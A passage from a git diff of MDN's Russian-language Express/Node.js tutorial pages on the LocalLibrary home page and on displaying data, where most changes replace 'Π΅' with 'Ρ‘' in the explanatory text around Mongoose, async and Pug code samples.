Π²Ρ‚ΠΎΡ€ΠΎΠ³ΠΎ Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚Π° (ΠΎΠ±ΡΡƒΠΆΠ΄Π°Π»ΠΎΡΡŒ Ρ€Π°Π½Π΅Π΅ Π² "ИспользованиС Π±Π°Π·Ρ‹ Π΄Π°Π½Π½Ρ‹Ρ… с Mongoose"Β <a href="https://developer.mozilla.org/en-US/docs/Learn/Server-side/Express_Nodejs/mongoose">Using a Database (with Mongoose)</a>), ΠΏΡ€ΠΈΡ‡Ρ‘ΠΌ ΠΌΠΎΠΆΠ½ΠΎ Π²Π΅Ρ€Π½ΡƒΡ‚ΡŒ Ρ‚Π°ΠΊΠΆΠ΅ запрос <code>Query,</code>Β Π° Π·Π°Ρ‚Π΅ΠΌ Π²Ρ‹ΠΏΠΎΠ»Π½ΠΈΡ‚ΡŒ Π΅Π³ΠΎ ΠΏΠΎΠ·ΠΆΠ΅ ΠΏΡ€ΠΈ ΠΏΠΎΠΌΠΎΡ‰ΠΈ callback. Эта  колбэк-функция Π±ΡƒΠ΄Π΅Ρ‚ Π²Ρ‹ΠΏΠΎΠ»Π½ΡΡ‚ΡŒΡΡ, ΠΊΠΎΠ³Π΄Π° Π‘Π” Π²Π΅Ρ€Π½Ρ‘Ρ‚ количСство записСй.Β Β Π—Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ ошибки (or <code>null</code>) Π±ΡƒΠ΄Π΅Ρ‚ ΠΏΠ΅Ρ€Π²Ρ‹ΠΌΒ ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€ΠΎΠΌ, Π° количСство записСй (ΠΈΠ»ΠΈ null, Ссли Π±Ρ‹Π»Π° ошибка) -Β Β Π²Ρ‚ΠΎΡ€Ρ‹ΠΌΒ ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€ΠΎΠΌ.</p>
<pre class="brush: js ">SomeModel.countDocuments({ a_model_field: 'match_value' }, function (err, count) {
// ... do something if there is an err
@@ -43,7 +43,7 @@ exports.index = function(req, res, next) {
res.send('NOT IMPLEMENTED: Site Home Page');
}</pre>
-<p>Π—Π°ΠΌΠ΅Π½ΠΈΡ‚Π΅ вСсь ΠΊΠΎΠ΄, ΠΏΠΎΠΊΠ°Π·Π°Π½Π½Ρ‹ΠΉ Π²Ρ‹ΡˆΠ΅, Π½Π° ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΉ Ρ„Ρ€Π°Π³ΠΌΠ΅Π½Ρ‚ ΠΊΠΎΠ΄Π°. ΠŸΠ΅Ρ€Π²ΠΎΠ΅, Ρ‡Ρ‚ΠΎ ΠΎΠ½ Π΄Π΅Π»Π°Π΅Ρ‚ - ΠΈΠΌΠΏΠΎΡ€Ρ‚ΠΈΡ€ΡƒΠ΅Ρ‚Β (<code>require()</code>)Β  всС ΠΌΠΎΠ΄Π΅Π»ΠΈ (Π²Ρ‹Π΄Π΅Π»Π΅Π½ΠΎ ΠΆΠΈΡ€Π½Ρ‹ΠΌ).Β  Π­Ρ‚ΠΎ трСбуСтся, ΠΏΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ ΠΎΠ½ΠΈ Π½ΡƒΠΆΠ½Ρ‹ для подсчСта числа записСй. Π—Π°Ρ‚Π΅ΠΌ импортируСтся ΠΌΠΎΠ΄ΡƒΠ»ΡŒΒ <em>async</em> .</p>
+<p>Π—Π°ΠΌΠ΅Π½ΠΈΡ‚Π΅ вСсь ΠΊΠΎΠ΄, ΠΏΠΎΠΊΠ°Π·Π°Π½Π½Ρ‹ΠΉ Π²Ρ‹ΡˆΠ΅, Π½Π° ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΉ Ρ„Ρ€Π°Π³ΠΌΠ΅Π½Ρ‚ ΠΊΠΎΠ΄Π°. ΠŸΠ΅Ρ€Π²ΠΎΠ΅, Ρ‡Ρ‚ΠΎ ΠΎΠ½ Π΄Π΅Π»Π°Π΅Ρ‚ - ΠΈΠΌΠΏΠΎΡ€Ρ‚ΠΈΡ€ΡƒΠ΅Ρ‚Β (<code>require()</code>)Β  всС ΠΌΠΎΠ΄Π΅Π»ΠΈ (Π²Ρ‹Π΄Π΅Π»Π΅Π½ΠΎ ΠΆΠΈΡ€Π½Ρ‹ΠΌ).Β  Π­Ρ‚ΠΎ трСбуСтся, ΠΏΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ ΠΎΠ½ΠΈ Π½ΡƒΠΆΠ½Ρ‹ для подсчёта числа записСй. Π—Π°Ρ‚Π΅ΠΌ импортируСтся ΠΌΠΎΠ΄ΡƒΠ»ΡŒΒ <em>async</em> .</p>
<pre class="brush: js "><strong>var Book = require('../models/book');
var Author = require('../models/author');
@@ -76,7 +76,7 @@ exports.index = function(req, res) {
});
};</pre>
-<p>ΠœΠ΅Ρ‚ΠΎΠ΄ <code>async.parallel()</code>Β ΠΏΠ΅Ρ€Π΅Π΄Π°Π΅Ρ‚ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ с функциями для получСния количСства элСмСнтов ΠΊΠ°ΠΆΠ΄ΠΎΠΉ ΠΌΠΎΠ΄Π΅Π»ΠΈ. ВсС эти Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ ΡΡ‚Π°Ρ€Ρ‚ΡƒΡŽΡ‚ ΠΎΠ΄Π½ΠΎΠ²Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎ. Когда всС ΠΎΠ½ΠΈ Π·Π°Π²Π΅Ρ€ΡˆΠ°Ρ‚ΡΡ,Β  Π±ΡƒΠ΄Π΅Ρ‚ Π²Ρ‹Π·Π²Π°Π½Π° Ρ„ΠΈΠ½Π°Π»ΡŒΠ½Π°Ρ колбэк-функция, Π² ΠΈΡ‚ΠΎΠ³ΠΎΠ²ΠΎΠΌ ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Π΅ ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΉ содСрТится Π½ΡƒΠΆΠ½Ρ‹ΠΉ Π½Π°ΠΌ Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚ (ΠΈΠ»ΠΈ ошибка).</p>
+<p>ΠœΠ΅Ρ‚ΠΎΠ΄ <code>async.parallel()</code>Β ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‘Ρ‚ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ с функциями для получСния количСства элСмСнтов ΠΊΠ°ΠΆΠ΄ΠΎΠΉ ΠΌΠΎΠ΄Π΅Π»ΠΈ. ВсС эти Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ ΡΡ‚Π°Ρ€Ρ‚ΡƒΡŽΡ‚ ΠΎΠ΄Π½ΠΎΠ²Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎ. Когда всС ΠΎΠ½ΠΈ Π·Π°Π²Π΅Ρ€ΡˆΠ°Ρ‚ΡΡ,Β  Π±ΡƒΠ΄Π΅Ρ‚ Π²Ρ‹Π·Π²Π°Π½Π° Ρ„ΠΈΠ½Π°Π»ΡŒΠ½Π°Ρ колбэк-функция, Π² ΠΈΡ‚ΠΎΠ³ΠΎΠ²ΠΎΠΌ ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Π΅ ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΉ содСрТится Π½ΡƒΠΆΠ½Ρ‹ΠΉ Π½Π°ΠΌ Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚ (ΠΈΠ»ΠΈ ошибка).</p>
<p>ΠŸΡ€ΠΈ ΡƒΡΠΏΠ΅ΡˆΠ½ΠΎΠΌ Π·Π°Π²Π΅Ρ€ΡˆΠ΅Π½ΠΈΠΈ колбэк-Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ ΠΎΠ½Π° Π²Ρ‹Π·Ρ‹Π²Π°Π΅Ρ‚Β <code><a class="external external-icon" href="http://expressjs.com/en/4x/api.html#res.render" rel="noopener">res.render()</a></code>, Ρƒ ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΉ Π² качСствС ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€ΠΎΠ² - прСдставлСниС (шаблон) Β '<strong>index</strong>' ΠΈ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚, содСрТащий Π΄Π°Π½Π½Ρ‹Π΅, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ слСдуСт ΠΏΠΎΠΌΠ΅ΡΡ‚ΠΈΡ‚ΡŒ Π² шаблон (срСди Π½ΠΈΡ… - количСства элСмСнтов Π² модСлях). Π”Π°Π½Π½Ρ‹Π΅ прСдставлСны ΠΊΠ°ΠΊ ΠΏΠ°Ρ€Ρ‹ ΠΊΠ»ΡŽΡ‡-Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅, ΠΈ ΠΌΠΎΠ³ΡƒΡ‚ Π±Ρ‹Ρ‚ΡŒ ΠΏΠΎΠ»ΡƒΡ‡Π΅Π½Ρ‹ Π² шаблонС ΠΏΠΎ ΠΊΠ»ΡŽΡ‡Ρƒ.</p>
@@ -86,7 +86,7 @@ exports.index = function(req, res) {
<h2 id="ΠŸΡ€Π΅Π΄ΡΡ‚Π°Π²Π»Π΅Π½ΠΈΠ΅">ΠŸΡ€Π΅Π΄ΡΡ‚Π°Π²Π»Π΅Π½ΠΈΠ΅</h2>
-<p>ΠžΡ‚ΠΊΡ€ΠΎΠΉΡ‚Π΅ Ρ„Π°ΠΉΠ»Β Β <strong>/views/index.pug</strong>Β ΠΈ Π·Π°ΠΌΠ΅Π½ΠΈΡ‚Π΅ Π΅Π³ΠΎ содСрТимоС тСкстом, ΠΏΡ€ΠΈΠ²Π΅Π΄Π΅Π½Π½Ρ‹ΠΌ Π½ΠΈΠΆΠ΅</p>
+<p>ΠžΡ‚ΠΊΡ€ΠΎΠΉΡ‚Π΅ Ρ„Π°ΠΉΠ»Β Β <strong>/views/index.pug</strong>Β ΠΈ Π·Π°ΠΌΠ΅Π½ΠΈΡ‚Π΅ Π΅Π³ΠΎ содСрТимоС тСкстом, ΠΏΡ€ΠΈΠ²Π΅Π΄Ρ‘Π½Π½Ρ‹ΠΌ Π½ΠΈΠΆΠ΅</p>
<pre class="brush: js ">extends layout
@@ -108,7 +108,7 @@ block content
li #[strong Authors:] !{data.author_count}
li #[strong Genres:] !{data.genre_count}</pre>
-<p>ΠŸΡ€Π΅Π΄ΡΡ‚Π°Π²Π»Π΅Π½ΠΈΠ΅ нСслоТноС. ΠœΡ‹ Ρ€Π°ΡΡˆΠΈΡ€ΠΈΠ»ΠΈ Π±Π°Π·ΠΎΠ²Ρ‹ΠΉ шаблон  <strong>layout.pug</strong>, ΠΏΠ΅Ρ€Π΅ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΠΈΠ² Π±Π»ΠΎΠΊ (<code>block)</code> с ΠΈΠΌΠ΅Π½Π΅ΠΌΒ '<strong>content</strong>'. ΠŸΠ΅Ρ€Π²Ρ‹ΠΉ Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΎΠΊΒ <code>h1</code>Β Π±ΡƒΠ΄Π΅Ρ‚ экранированным тСкстом - Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ΠΌ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎΠΉΒ <code>title</code>Β ,variable thatΒ  которая пСрСдаСтся Π² Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽΒ <code>render()</code> β€”Π·Π°ΠΌΠ΅Ρ‚ΡŒΡ‚Π΅, Ρ‡Ρ‚ΠΎ ΠΏΡ€ΠΈΠΌΠ΅Π½Π΅Π½ΠΈΠ΅ '<code>h1=</code>'Β  Π³ΠΎΠ²ΠΎΡ€ΠΈΡ‚, Ρ‡Ρ‚ΠΎ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΉ тСкст рассматриваСтся ΠΊΠ°ΠΊ Π²Ρ‹Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ JavaScript. Π—Π°Ρ‚Π΅ΠΌ располоТСн ΠΏΠ°Ρ€Π°Π³Ρ€Π°Ρ„, знакомящий с  LocalLibrary.</p>
+<p>ΠŸΡ€Π΅Π΄ΡΡ‚Π°Π²Π»Π΅Π½ΠΈΠ΅ нСслоТноС. ΠœΡ‹ Ρ€Π°ΡΡˆΠΈΡ€ΠΈΠ»ΠΈ Π±Π°Π·ΠΎΠ²Ρ‹ΠΉ шаблон  <strong>layout.pug</strong>, ΠΏΠ΅Ρ€Π΅ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΠΈΠ² Π±Π»ΠΎΠΊ (<code>block)</code> с ΠΈΠΌΠ΅Π½Π΅ΠΌΒ '<strong>content</strong>'. ΠŸΠ΅Ρ€Π²Ρ‹ΠΉ Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΎΠΊΒ <code>h1</code>Β Π±ΡƒΠ΄Π΅Ρ‚ экранированным тСкстом - Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ΠΌ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎΠΉΒ <code>title</code>Β ,variable thatΒ  которая пСрСдаётся Π² Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽΒ <code>render()</code> β€”Π·Π°ΠΌΠ΅Ρ‚ΡŒΡ‚Π΅, Ρ‡Ρ‚ΠΎ ΠΏΡ€ΠΈΠΌΠ΅Π½Π΅Π½ΠΈΠ΅ '<code>h1=</code>'Β  Π³ΠΎΠ²ΠΎΡ€ΠΈΡ‚, Ρ‡Ρ‚ΠΎ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΉ тСкст рассматриваСтся ΠΊΠ°ΠΊ Π²Ρ‹Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ JavaScript. Π—Π°Ρ‚Π΅ΠΌ располоТСн ΠΏΠ°Ρ€Π°Π³Ρ€Π°Ρ„, знакомящий с  LocalLibrary.</p>
<p>Под Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠΎΠΌΒ <em>Dynamic content</em>Β  ΠΌΡ‹ провСряСм, ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π° Π»ΠΈ пСрСданная ΠΈΠ· Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈΒ <code>render()</code> пСрСмСнная error. Если Π΄Π°, ΠΎΡ‚ΠΌΠ΅Ρ‡Π°Π΅ΠΌ ΠΎΡˆΠΈΠ±ΠΊΡƒ. Если Π½Π΅Ρ‚, Π²Ρ‹Π²ΠΎΠ΄ΠΈΠΌ ( ΠΊΠ°ΠΊ список) количСства ΠΊΠΎΠΏΠΈΠΉ ΠΊΠ°ΠΆΠ΄ΠΎΠΉ ΠΌΠΎΠ΄Π΅Π»ΠΈ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ хранятся в ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎΠΉΒ <code>data</code>.</p>
@@ -118,12 +118,12 @@ block content
<h2 id="Как_это_выглядит">Как это выглядит?</h2>
-<p>БСйчас Ρƒ нас Π΅ΡΡ‚ΡŒ всС для Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΠΎΠΊΠ°Π·Π°Ρ‚ΡŒ страницу index. ЗапуститС ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅ ΠΈ ΠΎΡ‚ΠΊΡ€ΠΎΠΉΡ‚Π΅ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ с адрСсом <a class="external external-icon" href="http://localhost:3000/" rel="noopener">http://localhost:3000/</a>. Если всС Π·Π°Π΄Π°Π½ΠΎ ΠΏΡ€Π°Π²ΠΈΠ»ΡŒΠ½ΠΎ, ваш сайт Π΄ΠΎΠ»ΠΆΠ΅Π½ ΠΈΠΌΠ΅Ρ‚ΡŒ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π½ΠΎ Ρ‚Π°ΠΊΠΎΠΉ Π²ΠΈΠ΄, ΠΊΠ°ΠΊ Π½Π° ΠΏΡ€ΠΈΠ²Π΅Π΄Π΅Π½Π½ΠΎΠΌ снимкС экрана.</p>
+<p>БСйчас Ρƒ нас Π΅ΡΡ‚ΡŒ всС для Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΠΎΠΊΠ°Π·Π°Ρ‚ΡŒ страницу index. ЗапуститС ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅ ΠΈ ΠΎΡ‚ΠΊΡ€ΠΎΠΉΡ‚Π΅ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ с адрСсом <a class="external external-icon" href="http://localhost:3000/" rel="noopener">http://localhost:3000/</a>. Если всС Π·Π°Π΄Π°Π½ΠΎ ΠΏΡ€Π°Π²ΠΈΠ»ΡŒΠ½ΠΎ, ваш сайт Π΄ΠΎΠ»ΠΆΠ΅Π½ ΠΈΠΌΠ΅Ρ‚ΡŒ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π½ΠΎ Ρ‚Π°ΠΊΠΎΠΉ Π²ΠΈΠ΄, ΠΊΠ°ΠΊ Π½Π° ΠΏΡ€ΠΈΠ²Π΅Π΄Ρ‘Π½Π½ΠΎΠΌ снимкС экрана.</p>
<p><img alt="Home page - Express Local Library site" src="https://mdn.mozillademos.org/files/14458/LocalLibary_Express_Home.png" style="display: block; height: 440px; margin: 0px auto; width: 1000px;"></p>
<div class="note">
-<p><strong>Π—Π°ΠΌΠ΅Ρ‚ΠΊΠ°:</strong>Β  Π­Π»Π΅ΠΌΠ΅Π½Ρ‚Ρ‹ Π±ΠΎΠΊΠΎΠ²ΠΎΠ³ΠΎ ΠΌΠ΅Π½ΡŽΒ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Π΅Ρ‰Π΅ нСльзя, Ρ‚Π°ΠΊ ΠΊΠ°ΠΊ адрСса, прСдставлСния ΠΈ ΡˆΠ°Π±Π»ΠΎΠ½Ρ‹ для этих страниц Π΅Ρ‰Π΅ Π½Π΅ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Ρ‹. Если Π²Ρ‹ ΠΏΠΎΠΏΡ‹Ρ‚Π°Π΅Ρ‚Π΅ΡΡŒ ΠΈΡ… ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ, Π±ΡƒΠ΄Π΅Ρ‚ Π²Ρ‹Π²Π΅Π΄Π΅Π½ΠΎ сообщСниС ΠΎΠ± ошибкС, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€,Β  Π²ΠΈΠ΄Π°Β "NOT IMPLEMENTED: Book list" (НЕ Π Π•ΠΠ›Π˜Π—ΠžΠ’ΠΠΠž: список ΠΊΠ½ΠΈΠ³), Π² зависимости ΠΎΡ‚ Π²Ρ‹Π±Ρ€Π°Π½Π½ΠΎΠ³ΠΎ элСмСнта мСню.Β  Π­Ρ‚ΠΈ строковыС Π»ΠΈΡ‚Π΅Ρ€Π°Π»Ρ‹ (ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π±ΡƒΠ΄ΡƒΡ‚ Π·Π°ΠΌΠ΅Ρ‰Π΅Π½Ρ‹ Π΄Π΅ΠΉΡΡ‚Π²ΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹ΠΌΠΈ Π΄Π°Π½Π½Ρ‹ΠΌΠΈ) Π±Ρ‹Π»ΠΈ Π·Π°Π΄Π°Π½Ρ‹ Π² Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹Ρ… Ρ„Π°ΠΉΠ»Π°Ρ… ΠΊΠΎΠ½Ρ‚Ρ€ΠΎΠ»Π»Π΅Ρ€ΠΎΠ² Π² ΠΊΠ°Ρ‚Π°Π»ΠΎΠ³Π΅Β "controllers".</p>
+<p><strong>Π—Π°ΠΌΠ΅Ρ‚ΠΊΠ°:</strong>Β  Π­Π»Π΅ΠΌΠ΅Π½Ρ‚Ρ‹ Π±ΠΎΠΊΠΎΠ²ΠΎΠ³ΠΎ ΠΌΠ΅Π½ΡŽΒ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Π΅Ρ‰Ρ‘ нСльзя, Ρ‚Π°ΠΊ ΠΊΠ°ΠΊ адрСса, прСдставлСния ΠΈ ΡˆΠ°Π±Π»ΠΎΠ½Ρ‹ для этих страниц Π΅Ρ‰Ρ‘ Π½Π΅ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Ρ‹. Если Π²Ρ‹ ΠΏΠΎΠΏΡ‹Ρ‚Π°Π΅Ρ‚Π΅ΡΡŒ ΠΈΡ… ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ, Π±ΡƒΠ΄Π΅Ρ‚ Π²Ρ‹Π²Π΅Π΄Π΅Π½ΠΎ сообщСниС ΠΎΠ± ошибкС, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€,Β  Π²ΠΈΠ΄Π°Β "NOT IMPLEMENTED: Book list" (НЕ Π Π•ΠΠ›Π˜Π—ΠžΠ’ΠΠΠž: список ΠΊΠ½ΠΈΠ³), Π² зависимости ΠΎΡ‚ Π²Ρ‹Π±Ρ€Π°Π½Π½ΠΎΠ³ΠΎ элСмСнта мСню.Β  Π­Ρ‚ΠΈ строковыС Π»ΠΈΡ‚Π΅Ρ€Π°Π»Ρ‹ (ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π±ΡƒΠ΄ΡƒΡ‚ Π·Π°ΠΌΠ΅Ρ‰Π΅Π½Ρ‹ Π΄Π΅ΠΉΡΡ‚Π²ΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹ΠΌΠΈ Π΄Π°Π½Π½Ρ‹ΠΌΠΈ) Π±Ρ‹Π»ΠΈ Π·Π°Π΄Π°Π½Ρ‹ Π² Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹Ρ… Ρ„Π°ΠΉΠ»Π°Ρ… ΠΊΠΎΠ½Ρ‚Ρ€ΠΎΠ»Π»Π΅Ρ€ΠΎΠ² Π² ΠΊΠ°Ρ‚Π°Π»ΠΎΠ³Π΅Β "controllers".</p>
</div>
<h2 id="Next_steps">Next steps</h2>
diff --git a/files/ru/learn/server-side/express_nodejs/displaying_data/index.html b/files/ru/learn/server-side/express_nodejs/displaying_data/index.html
index bbe11606e8..4082c32f4a 100644
--- a/files/ru/learn/server-side/express_nodejs/displaying_data/index.html
+++ b/files/ru/learn/server-side/express_nodejs/displaying_data/index.html
@@ -7,7 +7,7 @@ translation_of: Learn/Server-side/Express_Nodejs/Displaying_data
<div>{{PreviousMenuNext("Learn/Server-side/Express_Nodejs/routes", "Learn/Server-side/Express_Nodejs/forms", "Learn/Server-side/Express_Nodejs")}}</div>
-<p class="summary">Π’Π΅ΠΏΠ΅Ρ€ΡŒ ΠΌΡ‹ Π³ΠΎΡ‚ΠΎΠ²Ρ‹ Π΄ΠΎΠ±Π°Π²ΠΈΡ‚ΡŒ страницы, Π½Π° ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… Π±ΡƒΠ΄ΡƒΡ‚ ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ°Ρ‚ΡŒΡΡ ΠΊΠ½ΠΈΠ³ΠΈ Π²Π΅Π±-сайта  <a href="/en-US/docs/Learn/Server-side/Express_Nodejs/Tutorial_local_library_website">LocalLibrary</a>Β ΠΈ Π΄Ρ€ΡƒΠ³ΠΈΠ΅ Π΄Π°Π½Π½Ρ‹Π΅. Π‘Ρ‚Ρ€Π°Π½ΠΈΡ†Ρ‹ Π±ΡƒΠ΄ΡƒΡ‚ Π²ΠΊΠ»ΡŽΡ‡Π°Ρ‚ΡŒ Π³Π»Π°Π²Π½ΡƒΡŽ страницу, которая ΠΏΠΎΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚ сколько записСй ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½ΠΎΠ³ΠΎ Ρ‚ΠΈΠΏΠ° ΠΌΡ‹ ΠΈΠΌΠ΅Π΅ΠΌ ΠΈ ΠΎΡ‚Π΄Π΅Π»ΡŒΠ½Ρ‹Π΅Β ΡΡ‚Ρ€Π°Π½ΠΈΡ†Ρ‹Β Π΄Π»Ρ Π΄Π΅Ρ‚Π°Π»ΡŒΠ½ΠΎΠ³ΠΎ просмотра записСй. ΠŸΠΎΠΏΡƒΡ‚Π½ΠΎΒ ΠΌΡ‹ приобрСтСм практичСский ΠΎΠΏΡ‹Ρ‚ Π² ΠΏΠΎΠ»ΡƒΡ‡Π΅Π½ΠΈΠΈ записСй ΠΈΠ· Π±Π°Π· Π΄Π°Π½Π½Ρ‹Ρ… ΠΈ использовании шаблонов.</p>
+<p class="summary">Π’Π΅ΠΏΠ΅Ρ€ΡŒ ΠΌΡ‹ Π³ΠΎΡ‚ΠΎΠ²Ρ‹ Π΄ΠΎΠ±Π°Π²ΠΈΡ‚ΡŒ страницы, Π½Π° ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… Π±ΡƒΠ΄ΡƒΡ‚ ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ°Ρ‚ΡŒΡΡ ΠΊΠ½ΠΈΠ³ΠΈ Π²Π΅Π±-сайта  <a href="/en-US/docs/Learn/Server-side/Express_Nodejs/Tutorial_local_library_website">LocalLibrary</a>Β ΠΈ Π΄Ρ€ΡƒΠ³ΠΈΠ΅ Π΄Π°Π½Π½Ρ‹Π΅. Π‘Ρ‚Ρ€Π°Π½ΠΈΡ†Ρ‹ Π±ΡƒΠ΄ΡƒΡ‚ Π²ΠΊΠ»ΡŽΡ‡Π°Ρ‚ΡŒ Π³Π»Π°Π²Π½ΡƒΡŽ страницу, которая ΠΏΠΎΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚ сколько записСй ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½ΠΎΠ³ΠΎ Ρ‚ΠΈΠΏΠ° ΠΌΡ‹ ΠΈΠΌΠ΅Π΅ΠΌ ΠΈ ΠΎΡ‚Π΄Π΅Π»ΡŒΠ½Ρ‹Π΅Β ΡΡ‚Ρ€Π°Π½ΠΈΡ†Ρ‹Β Π΄Π»Ρ Π΄Π΅Ρ‚Π°Π»ΡŒΠ½ΠΎΠ³ΠΎ просмотра записСй. ΠŸΠΎΠΏΡƒΡ‚Π½ΠΎΒ ΠΌΡ‹ приобрСтём практичСский ΠΎΠΏΡ‹Ρ‚ Π² ΠΏΠΎΠ»ΡƒΡ‡Π΅Π½ΠΈΠΈ записСй ΠΈΠ· Π±Π°Π· Π΄Π°Π½Π½Ρ‹Ρ… ΠΈ использовании шаблонов.</p>
<table class="learn-box standard-table">
<tbody>
@@ -28,7 +28,7 @@ translation_of: Learn/Server-side/Express_Nodejs/Displaying_data
<p>Π‘Π»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΌ шагом являСтся обСспСчСниС ΠΏΡ€Π°Π²ΠΈΠ»ΡŒΠ½Ρ‹Ρ… Ρ€Π΅Π°Π»ΠΈΠ·Π°Ρ†ΠΈΠΉ для страниц, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ°ΡŽΡ‚ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡŽ ΠΈΠ· Π±ΠΈΠ±Π»ΠΈΠΎΡ‚Π΅ΠΊΠΈ (ΠΌΡ‹ рассмотрим Ρ€Π΅Π°Π»ΠΈΠ·Π°Ρ†ΠΈΡŽ страниц с Ρ„ΠΎΡ€ΠΌΠ°ΠΌΠΈ для создания, обновлСния ΠΈΠ»ΠΈ удалСния ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ Π² ΠΏΠΎΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΡ… ΡΡ‚Π°Ρ‚ΡŒΡΡ…). Π­Ρ‚ΠΎ Π²ΠΊΠ»ΡŽΡ‡Π°Π΅Ρ‚ Π² сСбя ΠΎΠ±Π½ΠΎΠ²Π»Π΅Π½ΠΈΠ΅ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΉ ΠΊΠΎΠ½Ρ‚Ρ€ΠΎΠ»Π»Π΅Ρ€Π° для извлСчСния записСй с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ Π½Π°ΡˆΠΈΡ… ΠΌΠΎΠ΄Π΅Π»Π΅ΠΉ ΠΈ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½ΠΈΠ΅ шаблонов для отобраТСния этой ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡΠΌ.</p>
